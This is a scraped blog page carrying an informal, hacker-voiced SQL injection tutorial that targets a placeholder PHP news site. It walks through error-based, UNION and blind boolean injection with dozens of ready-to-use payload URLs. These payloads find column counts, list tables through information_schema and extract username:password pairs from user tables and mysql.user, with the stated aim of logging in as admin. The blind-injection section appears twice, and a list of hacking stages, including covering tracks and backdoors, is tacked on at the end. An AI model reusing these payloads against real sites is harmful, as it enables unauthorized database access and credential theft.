http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
In this tutorial i will describe how sql injection works and how to
use it to get some useful information.
First of all: What is SQL injection?
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it) :D
2.Blind SQL Injection (the harder part)
So let's start with some action :D
1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote),
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection :)
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser :D
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc... :D
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part :)
2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
Monday, March 29, 2010
HACKING EXPOSED
Stages of a serious hack effort
1.Footprinting
2.Scanning
3.Enumeration
4.Gaining access
5.Escalating privilege
6.Pilfering
7.Covering tracks
8.Creating backdoors
9.Denial of service
1.Footprinting
2.Scanning
3.Enumeration
4.Gaining access
5.Escalating privilege
6.Pilfering
7.Covering tracks
8.Creating backdoors
9.Denial of service
Subscribe to:
Posts (Atom)
Hello, user!
Anyone up for a party?